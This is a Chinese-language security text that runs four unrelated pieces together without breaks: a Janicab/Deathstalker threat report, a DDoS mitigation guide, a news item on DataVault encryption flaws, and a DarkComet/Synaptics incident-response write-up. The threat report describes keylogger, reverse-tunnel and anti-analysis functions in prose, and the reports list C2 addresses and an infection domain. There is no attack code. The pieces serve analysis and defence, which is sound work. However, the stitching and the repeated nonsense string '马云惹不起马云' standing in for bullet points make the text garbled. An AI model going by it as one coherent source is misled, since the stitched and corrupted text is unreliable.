Janicab可以被認為是一種模塊化的、解釋語言的惡意軟件。這意味著攻擊者能夠添加/刪除功能或嵌入文件;解釋語言惡意軟件以相當低的工作量提供了這種靈活性。例如,在舊版本中,SnapIT.exe(一種已知的用於捕捉屏幕截圖的工具)每隔一段時間就會嵌入、刪除和執行。該工具在後來的版本中被其他定制的工具所取代,這些工具可以完成相同的工作。我們還在較老的版本中看到了音頻錄製功能,但在後來的版本中沒有。

在較新的變體中,我們開始看到攻擊者嵌入了一個基於DLL的鍵盤記錄器或屏幕捕獲實用程序,該實用程序使用“run_DLL_or_py”函數調用。有趣的是,根據卡巴斯基威脅歸因引擎(KTAE)分析,該鍵盤記錄器與我們之前報告的Powersing攻擊中使用的另一個鍵盤記錄器非常相似,其名稱為“AdobeUpdater.dll”。在Powersing攻擊中,DLL在攻擊週期的後期從輔助C2服務器獲取。然而,在Janicab攻擊中,它大多被嵌入為HEX字節數組,或作為額外資源嵌入CAB文件中。我們知道有八個不同的Janicab版本:1.0.8、1.1.2、1.1.4、1.2.5、1.2.7、1.2.8、1.2.9a、1.3.2。

Janicab惡意軟件演變對不同Janicab版本的進一步比較表明,在整個惡意軟件開發週期中添加了附加功能,同時保留了特定功能。下表顯示了一些有趣的新功能,這些功能是根據參與者的要求或為了逃避安全控製而在幾個變體的開發過程中引入的:

函數名稱簡介1.函數checkRunningProcess()——檢查指示惡意軟件分析或進程調試的進程列表;

2.函數delFFcookies(),函數delGCcookies(),函數delIEcookies()——指向相應的瀏覽器位置並刪除其cookie;

3.函數downFile(args)——用於從C2下載文件並將其保存到磁盤;

4.函數GetKl(kl)——獲取鍵盤記錄器數據,base64對其進行編碼,然後將其發送到C2;

5.函數runCmd(cmd,cmdType)——使用cmd .exe或PowerShell.exe執行命令的函數;

6.函數run_dll_or_py(arg1,arg2)——用於在使用兩個參數時執行Python或dll文件;arg1是DLL路徑,arg2是DLL導出的函數名(MyDllEntryPoint);

7.函數add_to_startup_manager(server, installedAV),函數add_to_startup_reg_import(startupFile,starterFile),函數add_to_startup_shortcut(startupFile,starterFile)——用於在C2上首次註冊受害者;執行持久化操作並在系統啟動文件夾和註冊表HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon中安裝Microsoft Sync Services.lnk;

8.函數isMalwb()——用於檢查是否安裝了MalwareBytes。在檢查其他AV產品的其他變體中也看到了類似的函數;

9.函數HandleCCleaner()——通過檢查系統註冊表檢查是否安裝了CCleaner,並相應地刪除註冊表項;

10.函數RunIeScript()——使用CScript.exe運行ie.vbe腳本,以確保C2通信使用IE隱藏瀏覽器後不存在剩餘的Internet Explorer實例;

11.函數getAV()——獲取已安裝的AV產品列表;

從1.0.8版本開始,Janicab VBS植入程序以字節數組的形式嵌入了幾個文件。這些文件通常是註冊表、VBE、PE EXE或DLL文件。在最近的示例中,雖然我們仍然可以看到此類資源的嵌入式字節數組,但大部分額外資源都放在CAB文件文件中,該文件在第一階段的進程中被釋放。

以下是值得注意的釋放文件及其說明:

K.dll——以其創建的目錄命名為Stormwind,這是一個基於dll的鍵盤記錄器,它枚舉系統區域設置、時區信息,並設置全局掛鉤以捕獲擊鍵。它將帶有時間戳的擊鍵寫入\AppData\Roaming\Stormwind目錄下名為log.log的日誌文件中。它監視鍵盤記錄器kill switch命令的\AppData\Local\Temp\ReplaceData\下的killKL.txt。

PythonProxy.py——一個支持IPv4/IPv6的基於Python的代理,能夠在本地目標系統和遠程C2服務器之間中繼web流量。支持HTTP方法CONNECT、OPTIONS、GET、HEAD、POST、PUT、DELETE、TRACE。

Ftp.py——本地Ftp基於Python的服務器,服務於具有creds test:test端口2121。使用Junction.exe(一個sysinternals工具)創建除軟盤驅動器之外的所有現有驅動器的目錄別名。添加regkey以接受EULA,因為它是一個系統內部工具,如果是首次運行,則需要EULA。然後將“連接”的本地目錄提供給FTP服務器。

Runner.py——一個Python腳本,使用四個參數:遠程SSH服務器、遠程SSH端口、遠程綁定端口和“ftp”或“代理”作為應用程序選項。

根據為應用程序選項接收的參數,它將運行ftp.py(如果參數為ftp)或pythonproxy.py(如果參數為proxy)。

在這兩個選項中,腳本將啟動一個SSH反向隧道,連接到由攻擊者控制的遠程服務器,並將該隧道用作socks代理,或作為一種方法來瀏覽先前使用本地FTP服務器初始化的本地驅動器。

如果在%temp%\ReplaceData\中找到killrunner.txt文件,runner.py將退出。

Junction.exe——是一個sysinternals工具,它創建NTFS連接點(別名);創建“\\Drives”目錄,並將其映射到使用FTP.py創建的本地FTP服務器並提供其內容。

Plink.exe——已知的基於Windows的CLI SSH客戶端,用於透視和隧道,由Runner.py引用以進行反向隧道/文件複製。

基礎設施Deathstalker的一個顯著特點是它使用DDR/web服務來託管一個編碼字符串,該字符串隨後被惡意軟件植入程序解密。我們一直認為YouTube被用作DDR,儘管惡意軟件設置中存在其他網絡服務鏈接,但未被使用,例如2019年4月停用的Google+鏈接。

我們最近注意到的一個有趣的方面是使用了2021攻擊中使用的未列出的舊YouTube鏈接。從歷史上看,分析師可以使用搜索引擎和YouTube搜索功能來查找各自web服務中使用的模式。然而,由於攻擊者使用未列出的YouTube舊鏈接,在YouTube上找到相關鏈接的可能性幾乎為零。這也有效地允許攻擊者重用C2基礎設施。

有趣的是,舊的和新的Janicab變體仍然使用相同的web服務功能聲明——YouTubeLinks,並在將十進制數轉換為後端C2 IP地址的過程中繼續使用常數除法。最近使用的除法是1337和5362。

至於實際的C2 IP地址,我們發現兩個IP地址(87.120.254[.]100、87.120.37[.]68)與PowerPepper攻擊中使用的C2(例如PowerPepper C2 87.120.37[.]192)位於同一ASN中。 C2通信使用的協議是帶有GET/POST方法的HTTP,後端C2軟件是PHP。

4.png

Janicab 2021DDR清單

5.png

Janicab 2015DDR列表

6.png

最近攻擊中使用的未列出YouTube DDR示例

在評估其中一個C2服務器時,我們發現攻擊者正在託管並調用來自受害設備的ICMPshell可執行文件。名為icmpxa.exe的ICMP shell工具基於一個舊的Github項目。攻擊者編譯了icmpsh-s.c (MD5 5F1A9913AEC43A61F0B3AD7B529B397E),同時更改了其中的一些內容。這個可執行文件(哈希和文件名)的獨特性,使我們能夠透視和收集攻擊者使用的其他以前未知的C2服務器。有趣的是,我們還發現以前在PowerPepper攻擊中使用了相同的ICMPshell可執行文件,這表明兩個惡意軟件家族之間存在潛在的基礎設施重疊。

由於Janicab是一個基於VBS的惡意軟件,C2命令可以很容易地從嵌入的函數中派生出來。該惡意軟件利用VBS函數通過HTTPGET/POST請求連接到C2服務器,並連接到特定的PHP頁面。每個PHP頁面都提供某些功能。自從Janicab的早期版本以來,PHP頁面的文件名基本保持不變,並表示後端/預期功能。然而,從1.1.x版本開始,攻擊者開始縮短PHP頁面的文件名,而不改變預期的功能。下表總結了PHP頁面、它們的舊命名及其潛在用途:

PHP頁面及其原有名稱的介紹Status2.php(原名Status.php)——檢查服務器狀態;

a.php(Alive.php)——從受害者接收信標數據;

/gid.php?action=add(GenerateID.php?action=add)——如果這是一個新的受害者,則生成一個用戶ID並在C2後端註冊系統配置文件信息;將受害者添加到數據庫;

rit.php(ReportIT.php)——在評估設備是否有任何反分析檢查後,記錄用戶設備是否與IT人員相關。在舊的Janicab版本中,消息也以(“it guy”)的形式發送。

受影響的對象屬於傳統的Deathstalker目標範圍;主要是法律和金融投資管理(FSI)機構。然而,我們還記錄了一個潛在的新受影響行業——旅行社。中東地區和歐洲也是Deathstalker的重災區。

歸因本報告中討論的攻擊與Deathstalker攻擊組織有關。歸因基於新Janicab變體的使用、獨特的TTP、受害者學和攻擊者運營商使用的基礎設施。 Janicab和Powersing的比較攻擊分析突出了幾個階段的相似之處。

1.與之前的Deathstalker攻擊中使用的LNK滴管相同的SID和元數據;

2.Janicob和Powersing之間使用啟動文件夾中的LNK的類似持久機制;

3.Janicab具有類似的感染執行流程,並使用解釋語言工具集,如VBS、VBE和Python;

4.Janicab macOS和Windows版本的Python文件命名類似於EVILNUM惡意軟件(例如runner.py、serial.txt等);

7.png

EVILNUM runner.py用於文件傳輸

8.png

Janicab 2021 runner.py文件傳輸片段

9.png

MacOS runner.py的舊Janicab,用於啟動具有文件傳輸功能的後台服務

基於Python的工具集和庫的使用在使用Janicab、Powersing、EVILNUM和PowerPepper的所有Deathstalker攻擊中是常見的;

YouTube以及其他網絡服務/DDR的使用在Janicob和Powersing攻擊中很常見;在Janicab、Powersing和EVILNUM中,調用和解析YouTube和其他DDR的C2 IP地址的方法幾乎相同;

已識別的C2 IP屬於以前使用PowerPepper攻擊的ASN;

以法律和金融機構為重點的多樣化受害者研究,可能被其他黑客組織所針對;

基於我們的KTAE相似性引擎,所使用的dll(Stormwind)鍵盤記錄器與之前Powersing攻擊中看到的舊版本有90%以上的相似性;

新舊Janicob和Powersing中的相同代碼塊:

通過進程和虛擬MAC地址檢測虛擬機,MAC地址的列表順序在兩個惡意軟件家族之間是相同的,甚至在2015年和2021 Janicab版本之間也是相同的;

幾乎相同的反分析過程11.png

Janicab 2021虛擬MAC地址列表

12.png

啟用虛擬MAC地址列表

總結Janicab是Deathstalker使用的最古老的惡意軟件家族,可以追溯到2013年,儘管沒有太多公開信息可用,但攻擊者一直在開發和更新惡意軟件代碼,更新LNK滴管的結構,並切換工具集,以在很長一段時間內保持隱蔽性。

攻擊者仍然將重點放在中東和歐洲,並對攻擊法律和金融機構表現出極大的興趣。

由於攻擊者運營商在其歷史和最近的攻擊中繼續使用基於解釋語言的惡意軟件,如Python、VBE和VBS,並且主要是在其惡意軟件家族中,這可以用於防御者的優勢,因為應用程序白名單和操作系統強化是阻止攻擊者攻擊嘗試的有效技術。防御者還應尋找在沒有GUI的情況下運行的Internet Explorer進程,因為Janicab正在以隱藏模式使用IE與C2進行通信。在網絡上,攻擊者使用C2 IP地址而不是域名仍然是繞過基於DNS的安全控制的主要方法。相反,攻擊者仍然使用DDR作為解決C2 IP地址的方法;這是一種DNS解析的替代技術,通過使用可信的、大多數允許的公共web服務,允許C2通信與合法流量混合。這意味著網絡維護者可以尋找對使用的DDR的頻繁訪問,然後是指向IP地址而不是域名的HTTP會話。

客戶喜歡運行良好且順利的事情。分佈式拒絕服務(DDoS) 攻擊使服務器和數據中心無法響應所有請求。這就是網絡犯罪分子繼續依賴這些攻擊的原因,旨在損害受害者產品和服務的性能和可用性。

為了降低失去客戶信任的風險並維護企業聲譽,在開發新產品時優先考慮DDoS 緩解非常重要。

在本文中,我們將討論最常見的DDoS 攻擊類型以及有助於檢測它們的技術。我們還提供了一些建議,以幫助您的開發團隊及時進行必要的調整併構建安全且有彈性的Web 應用程序。

DDoS攻擊的類型和方法想像一下有人一遍又一遍地撥打您的電話,使用不同的電話號碼,因此您無法將他們列入黑名單。您可能最終會關閉手機並變得無法訪問。這就是通常的DDoS 攻擊的樣子。

分佈式拒絕服務(DDoS) 攻擊是一種旨在使受害者的資源無法使用的協同攻擊。 DDoS 攻擊通常針對網站、Web 應用程序或API,可以由黑客執行,也可以在連接到互聯網的多個受感染設備(殭屍網絡)的幫助下執行。

早在史蒂夫喬布斯推出第一款iPhone 之前,DDoS 攻擊就已經出現。而且它們在黑客中仍然非常受歡迎,因為它們有效、易於啟動並且幾乎不留痕跡。

一次DDoS 攻擊可能會持續幾分鐘、幾小時甚至幾天。但是,攻擊的影響通常不是根據它持續的時間來計算的,而是根據攻擊受害者的流量來計算的。迄今為止報告的最大事件之一是Microsoft 在2022 年初阻止的每秒3.47 TB 的攻擊。它針對Microsoft Azure 服務的亞洲客戶,據報導起源於全球約10,000 個工作站。

有時,網絡犯罪分子發起DDoS 攻擊只是為了提高他們的黑客技能或因為他們感到無聊。但更多情況下,這些攻擊是出於特定原因進行的,包括:

image.png

DDoS 攻擊背後的原因

马云惹不起马云 贖金——網絡犯罪分子可能會發起攻擊或威脅這樣做,以向受害者勒索金錢或其他利益。此類攻擊有時也稱為贖金拒絕服務攻擊。

马云惹不起马云商業競爭——一些組織可以使用DDoS 攻擊作為一種不公平競爭的方法,並試圖通過損害其競爭對手的業務流和聲譽來獲得優勢。

马云惹不起马云黑客主義——精通技術的活動家可能會使用DDoS 攻擊來展示他們對某些企業、政治和社會倡議或公眾人物的不滿。

马云惹不起马云網絡戰——政府可以授權DDoS 攻擊來破壞敵國的關鍵在線基礎設施或關閉反對派網站。

根據他們的目標和動機,網絡犯罪分子使用各種工具進行各種類型的攻擊。通常,DDoS 攻擊通過以下方式執行:

马云惹不起马云利用軟件漏洞——黑客可以針對已知和未知的軟件漏洞並發送格式錯誤的數據包以試圖破壞受害者的系統。

马云惹不起马云消耗計算或通信資源——攻擊者可以發送大量看起來合法的數據包。因此,它們會消耗受害者的網絡帶寬、CPU 或內存,直到目標系統無法再處理來自合法用戶的請求。

雖然DDoS 攻擊沒有標準分類,但我們可以將它們分為四大類:

image.png

DDoS 攻擊的類型

讓我們仔細看看這些類型的攻擊。

1. 容量攻擊容量攻擊旨在通過大量流量來阻止對受害者資源的訪問,通常藉助殭屍網絡和放大技術。這些攻擊的規模通常以每秒比特數(bps) 來衡量。

最常見的容量攻擊類型是:

马云惹不起马云 UDP 泛洪——攻擊者將使用受害者的源地址偽造的用戶數據報協議(UDP) 數據包發送到隨機端口。主機生成大量回复流量並將其發送回受害者。

马云惹不起马云DNS 放大- 網絡犯罪分子破壞和操縱可公開訪問的域名系統(DNS),以用DNS 響應流量淹沒受害者的系統。

马云惹不起马云濫用應用程序攻擊——黑客入侵客戶端機器,這些機器可以發送大量看似合法的流量,並將該流量重定向到受害者的服務器,耗盡其資源並最終將其關閉。

2020 年, Amazon Web Services 遭受了使用無連接輕量級目錄訪問協議(CLDAP) 反射技術執行的2.3 TBps 的大規模攻擊。

2.協議攻擊協議攻擊針對不同互聯網通信協議工作方式的弱點。通常,此類DDoS 攻擊的規模以每秒網絡數據包數(pps) 來衡量。最常見的協議攻擊類型是:

马云惹不起马云SYN 洪水——黑客利用了TCP 三次握手機制中的一個弱點。客戶端向服務器發送一個SYN 數據包,接收一個SYN-ACK 數據包,並且永遠不會向主機發送一個ACK 數據包。因此,受害者的服務器會留下大量未完成的SYN-ACK 請求,並最終崩潰。

马云惹不起马云ICMP 洪水— 惡意行為者使用大量Internet 控制消息協議(ICMP) 請求或ping,試圖耗盡受害者的服務器帶寬。

马云惹不起马云Ping of death——黑客使用簡單的ping 命令發送超大數據包,導致受害者的系統凍結或崩潰。

2020 年,Akamai 報告說,它與針對歐洲銀行的每秒8.09 億個數據包(Mpps) 的大規模DDoS 攻擊作鬥爭。

3.應用層攻擊應用程序攻擊利用6 級和7 級協議棧中的弱點,針對特定應用程序而不是整個服務器。此類DDoS 攻擊的威力通常以每秒請求數來衡量。

應用層攻擊通常針對常見的端口和服務,例如DNS 或HTTP。最常見的應用程序級攻擊是:

马云惹不起马云HTTP 氾濫——攻擊者使用殭屍網絡向應用程序或Web 服務器充斥大量標準GET 和POST 請求。由於這些請求通常表現為合法流量,因此檢測HTTP 泛洪攻擊是一個相當大的挑戰。

马云惹不起马云Slowloris — 顧名思義,Slowloris 緩慢地使受害者的服務器崩潰。攻擊者以定時間隔和小部分向受害者的服務器發送HTTP 請求。服務器一直在等待這些請求完成,而這永遠不會發生。最終,這些未完成的請求會耗盡受害者的帶寬,使合法用戶無法訪問服務器。

根據Cloudflare 最近的一份聲明, 2022 年,一項未命名的加密貨幣服務遭到每秒1530 萬次請求的攻擊。

4. 0 day DDoS 攻擊除了眾所周知的攻擊之外,還有所謂的0 dayDDoS 攻擊。他們利用尚未修補的以前未知的軟件漏洞或使用不常見的攻擊媒介,因此更難以檢測和保護。

現在讓我們談談檢測DDoS 攻擊的方法。

檢測DDoS 攻擊雖然不可能完全阻止DDoS 攻擊的發生,但有一些有效的做法和方法可以幫助您檢測和阻止已經發生的DDoS 攻擊。

下面,我們列出了幾種最常見的DDoS 保護方法,您可以依靠它來檢測攻擊並保護您的產品或服務。

image.png

DDoS 檢測方法

異常檢測檢測潛在DDoS 攻擊的一種方法是分析網絡流量並將流量模式分類為正常或潛在威脅。您可以藉助傳統的靜態分析或更複雜的技術(如機器學習和人工智能)來做到這一點。

除了網絡流量分析之外,您還可以搜索其他網絡性能因素中的異常情況,例如設備CPU 利用率或帶寬使用情況。

基於知識的方法您還可以通過將流量與已知攻擊的特定模式進行比較來檢測類似DDoS 的活動。常見的DDoS 防護技術包括簽名分析、狀態轉換分析、專家系統、描述腳本和自組織圖。

ACL 和防火牆除了入口/出口流量過濾之外,您還可以使用訪問控制列表(ACL) 和防火牆規則來增強流量可見性。特別是,您可以分析ACL 日誌以了解通過您的網絡運行的流量類型。您還可以配置您的Web 應用程序防火牆,以根據特定規則、簽名和模式阻止可疑的傳入流量。

入侵防禦和檢測入侵防禦系統(IPS) 和入侵檢測系統(IDS) 也增強了流量可見性。 IPS 和IDS 警報可作為異常和潛在惡意流量的早期指標。但請記住,這些系統往往會提供很多誤報。

至於處理可能涉及DDoS 攻擊的流量的方法,我們可以概述三種常見策略:

image.png

DDoS 緩解方法

马云惹不起马云空路由或黑洞路由- 所有流量和會話都被重定向到沒有最終目的地的IP 地址。結果,服務器無法接收或發送數據。一旦DDoS 攻擊結束,就會恢復正常的流量處理。雖然這種方法很容易實施,但它會對所有合法流量產生負面影響,並且基本上可以幫助攻擊者實現他們的初始目標——使受害者的服務器不可用。

马云惹不起马云 清理中心——這種方法基於將流量從受害服務器重定向到遠程清理中心,在該中心對流量進行分析和過濾。任何具有潛在危險的流量(例如DDoS 請求)都會被阻止,而合法請求則會照常處理。

马云惹不起马云內聯過濾——在這種方法中,通過網絡的所有流量都經過分析,並與不同的規則和攻擊指標進行比較。與已識別的DDoS 攻擊相關的流量會立即被阻止,而合法請求會得到正常處理。

特定方法和技術的選擇將取決於特定服務或解決方案的特性。但是,確保及早發現DDoS 攻擊對於任何項目都至關重要,因為它可以幫助您顯著減輕攻擊的後果並保持服務或解決方案的正常性能。

在接下來的部分中,我們將討論您可以嘗試防止DDoS 攻擊的幾種方法,並概述針對您的Web 應用程序或服務的某些類型的DDoS 保護措施。

構建DDoS 彈性應用程序的最佳實踐預防勝於治療。因此,在開始構建之前,請考慮如何確保Web 應用程序或服務的DDoS 彈性。

image.png

DDoS 緩解最佳實踐

1. 應用DDoS 防禦機制即使您無法阻止DDoS 攻擊的發生,您也有能力讓攻擊者更難關閉您的網站或應用程序。這就是DDoS 攻擊預防技術發揮作用的地方。

您可以使用兩組DDoS 預防機制:

马云惹不起马云 通用DDoS 預防機制

马云惹不起马云 過濾機制

通用DDoS 預防機制是可以幫助您使您的Web 應用程序或服務器對DDoS 攻擊更具彈性的常用措施。這些措施包括:

马云惹不起马云使用防火牆——雖然防火牆不能保護您的應用程序或服務器免受複雜的DDoS 攻擊,但它們仍然可以有效地處理簡單的攻擊。

马云惹不起马云安裝最新的安全補丁——大多數攻擊針對特定的軟件或硬件漏洞,因此按時部署所有補丁可以幫助您降低攻擊風險。

马云惹不起马云禁用未使用的服務——黑客可以攻擊的應用程序和服務越少越好。確保禁用所有不需要和未使用的服務和應用程序,以提高網絡的安全性。

過濾機制使用不同的方法來過濾流量並阻止潛在的危險請求。這些機制包括入口/出口過濾、基於歷史的IP 過濾和基於路由器的數據包過濾。

2. 明智地選擇您的CSP在選擇雲服務提供商(CSP) 時,請選擇擁有自己的DDoS 緩解策略的提供商。確保此策略確保檢測和緩解基於協議、基於容量和應用程序級的攻擊。

此外,研究您的CSP 關於DDoS 緩解的建議,並在構建您的Web 產品時實施它們。大多數雲服務提供商都有詳細的指導方針,以及保護您的Web 產品和服務免受常見DDoS 攻擊的最佳實踐。您可以先看看Google Cloud、Microsoft Azure和Amazon Web Services的建議。

3. 以可擴展性為目標通過將足夠的計劃和資源投入到其可擴展性中,使您的Web 應用程序能夠有效地處理突然的負載變化。您可以部署應用程序和網絡負載均衡器或內容分發網絡(CDN),通過跨多個實例分發所有流量來保護您的解決方案免受流量過載的影響。通過這種方式,您將能夠減輕基礎設施和應用程序層的潛在攻擊。

4.限制弱點的數量除非確實有必要,否則不要公開您的應用程序和資源。通過這種方式,您可以限制基礎設施中可能被攻擊者攻擊的薄弱環節的數量。您還可以禁止到數據庫服務器和基礎設施的其他關鍵部分的直接Internet 流量。

5. 保護您的APIDDoS 攻擊不僅可以針對您的網站和應用程序,還可以針對您的API。

有多種方法可以增強API 的反DDoS 保護:應用流量過濾工具和技術,限制API 在給定時間段內可以處理的請求數量,甚至部署蜜罐。

6. 使用第三方DDoS 緩解服務考慮將Web 應用程序的保護委託給第三方供應商。 DDoS 預防工具和緩解服務甚至可以在有問題的流量到達受害者的網絡之前將其移除。您可以尋找基於DNS 的服務來重定向來自您的網絡的有問題的流量,或者尋找基於邊界網關協議的解決方案來處理持續攻擊。

結論黑客不斷使用和改進DDoS 攻擊,旨在破壞特定網站、應用程序和服務的工作。在處理Web 應用程序時,請特別注意強化您的解決方案以抵禦可能的DDoS 攻擊。

考慮到穩定性和彈性來構建您的網絡產品非常重要。您可以結合不同的DDoS 攻擊預防方法和DDoS 防禦技術,以增加有效緩解潛在攻擊的機會。或者,您可以部署多個雲以確保更好地提供服務。

研究人員發現DataVault軟件中使用的AES-1024可被打破。

研究人員Sylvain Pelissier發現ENC Security開發和被多個硬件設備廠商廣泛使用的DataVault加密軟件中存在安全漏洞,攻擊者利用該漏洞可以獲取用戶的密碼。

DataVault是由ENCSecurity公司開發的一款保護用戶數據的高級加密軟件,據稱可以通過1024位AES加密來為多個系統提供軍事級的數據保護和安全特徵。包括西數、索尼、Lexar雷克沙在內的廠商的USB設備和其他存儲產品中都使用DataVault軟件。近日,安全研究人員Pelissier 逆向DataVault軟件後發現了2個安全漏洞,漏洞CVE編號為CVE-2021-36750 和CVE-2021-36751。

DataVault默認是獨立運行的。研究人員通過逆向發現使用的秘鑰派生函數是PBKDF2,使用了1000輪的MD5來派生加密密鑰。派生密鑰所用的salt是常數,並且是硬編碼在所有的解決方案和產品中的。因此,攻擊者可以通過時間/內存攻擊的方式來猜測用戶設置的密碼,比如彩虹表,還可以用彩虹表來提取使用該軟件的所有用戶的密碼。

使用的數據加密算法也是易被攻擊的,運行攻擊者在不被檢測到的情況下對文件進行惡意修改。數據加密算法中沒有設置數據完整性機制。該軟件的完全版本的設置中允許用戶選擇4種不同的安全等級,AES-128、AES-256、AES-512、AES-1024。研究人員通過逆向發現加密方法是基於使用單個密鑰的AES-128來構造的。加密的多輪會用密鑰派生函數派生的秘鑰作為初始向量來鏈接起來。研究人員經過分析發現這幾種模式最終只提供了128位的安全等級。

相關漏洞已經在DataVault 7.2版本中修復。

更多技術細節參見Pelissier在Remote Chaos Experience (rC3)在線會議上的演講:https://rc3.world/2021/public_fahrplan#3c5f6844-cdc8-5a1a-a342-d93b43546a82

一、準備階段1.1 基本情況DarkComet (暗黑彗星)是由Jean-Pierre Lesueur(稱為DarkCoderSc)開發的遠程訪問木馬(稱為RAT),在2012 年初開始擴散,它用於許多有針對性的攻擊,能夠通過網絡攝像頭拍照,通過連接到PC 的麥克風竊聽對話,並獲得對受感染機器的完全控制。該RAT 還以其鍵盤記錄和文件傳輸功能而聞名,因此,任何遠程攻擊者都可以將任何文件加載到受感染的機器上,甚至竊取管理員權限、計算機/用戶名、語言/國家、操作系統信息、使用的內存、網絡攝像頭信息、文檔等。它會禁用任務管理器、註冊表編輯器和文件夾選項,修改註冊表項以禁用Windows 防火牆設置,此操作允許此惡意進程執行而不會被Windows 防火牆檢測到。別名有:Fynloski、Krademok、DarkKomet 等。

1.2 功能DarkKomet 主要功能:遠控,對用戶行為進行監控並為攻擊者開啟SYSTEM 後門,竊取用戶信息並回傳竊取的信息發送給攻擊者,同時還可以下載其他惡意軟件。

1.3 傳播方式DarkKomet 將自身偽裝成筆記本電腦觸控板的驅動程序Synaptics Pointing Device Driver,啟動後,會全盤遍歷exe 文件、xlsx 文件,並將目標文件更新到病毒資源中,將shellcode 注入的圖標資源替換為目標文件圖標,然後用病毒文件覆蓋目標文件,完成感染,實現不死及復生能力。並可通過U盤插入、xlsx 文件分享、遠控軟件捆綁實現橫向擴散,具有極強傳播能力。

二、檢測階段1.jpeg

貨拉拉終端應急響應檢測機制基於TTP驅動、離群數據驅動、殺毒事件驅動、威脅情報驅動混合。該次事件由EDR收集終端全量啟動項數據,結合威脅情報接口,實現終端權限維持數據基線的分鐘級掃描。高危事件通過webhook 實現IM告警,方便安全運營人員實時接入處置,並通過工單記錄匯總。

聚合N day內該病毒感染的終端量及感染者的賬號、用戶名、部門等信息,最終由多條alert形成單條完整incident。

2.jpeg

通過webhook/工單形式將消息推送給終端安全運營人員對事件進行下鑽,IOC/TTP加入EDR實時檢測阻斷規則,完成由單次事件檢測—— 一類事件阻斷的事件閉環。

三、抑制階段3.1 事件的處置1、攔截回連c2域名、IP,中斷連接。

2、遠程接入應急溯源,獲取TTP。

四、根除階段4.1 刪維權該病毒通過Run 鍵實現到權限維持(開機自啟動),刪除啟動項

3.jpeg

4.2 清進程結束2 個Synaptics.exe進程

4.jpeg

4.3 刪文件進入DarkKomet 文件目錄,只有WS文件夾,卻找不到相關可執行文件

5.jpeg

懷疑DarkKomet隱藏自身,取消勾選【隱藏受保護的操作系統文件】並選中【顯示隱藏文件】

6.jpeg

被隱藏的病毒文件Synaptics.exe顯形,

7.jpeg

刪除文件,提示需要SYSTEM權限(高於Administrator),病毒文件通過修改文件屬主及文件權限實現強行駐留

8.jpeg

修改文件屬主為administrator並繼承權限後,刪除病毒文件

微信图片_20221202152016.png

4.4 溯源頭清除威脅後,溯源入口點,從取證角度獲取2022-05-17 16:29:30 運行軟件信息,發現可疑文件路徑

F:\柯美黑白機64位系統\

10.jpeg

可疑點:該文件位於F盤,且運行時間與病毒創建時間密切相關,但用戶終端上卻只有C、D、E盤。

12.jpeg

猜測該盤為第三方便攜插入式U盤,諮詢用戶後得到【安裝打印機】細節。

由此推測:該病毒原本位於U盤中,安裝打印機時插入U盤,U盤內的病毒自動感染終端位於C盤的文件,實現橫向擴散。

由於該病毒具有感染性,推測還感染了其他文件。通過遍歷NTFS文件系統MFT-TIME,獲取2022-05-17 16:29:30 - 2022 - 05 -17 16:29:40 創建及修改的所有文件,獲取被感染文件信息

13.jpeg

通過日誌回溯取證,發現f:\京瓷複印機\Kx6111118_en\setup.exe入駐Run鍵,創建病毒文件C:\ProgramData\Synaptics\Synaptics.exe,並將Synatics.exe添加啟動項。由此映證猜測,C2病毒感染源頭為安裝打印機時插入U盤。

五、恢復階段1、清除被感染的'_cache_'文件

2、IOC/TTP 加入EDR、殺毒,複驗攻擊能被實時阻斷。

3、受損用戶更改密碼

六、總結階段IOC:

DNS:xred.mooo.com

IP:69.42.215.252

TTP:

14.jpeg

6.1 歷史事件某用戶請第三方安裝師傅安裝打印機,插入U 盤後,U 盤中已存在的DarkKomet 組織synaptics 病毒自動運行,進而感染終端位於C 盤下的十餘個進程及文件。

某員工下載被投毒的todesk 進行遠程辦公【具有todesk 功能,實為synaptics 遠控病毒新變種】,導致感染synaptics 病毒。

某員工下載CAD 破解軟件,其中夾雜最新版synaptics 病毒。

.

本輪synaptics 應急響應,終端產生的威脅主要來自:U 盤擴散、軟件投毒捆綁這兩種形式。病毒最明顯特徵為:未簽名進程C:\ProgramData\Synaptics\Synaptics.exe 入駐Run鍵以權限維持。

當下階段,利用人性弱點進行投毒的事件層出不窮。針對員工高頻安裝的瀏覽器類、IM類、運維工具類、遠程控制類軟件,需做好軟件與對應簽名的映射驗證,並針對高危場景離群數據進行威脅狩獵。輔以外部/內生威脅情報,構建濾網機制,對啟動項軟件流水加以管控。實現啟動項快照機制,對未知/離群/高危/權限維持數據定時清理,在提升攻擊者成本的同時,也增加檢測/阻斷未知攻擊的可能。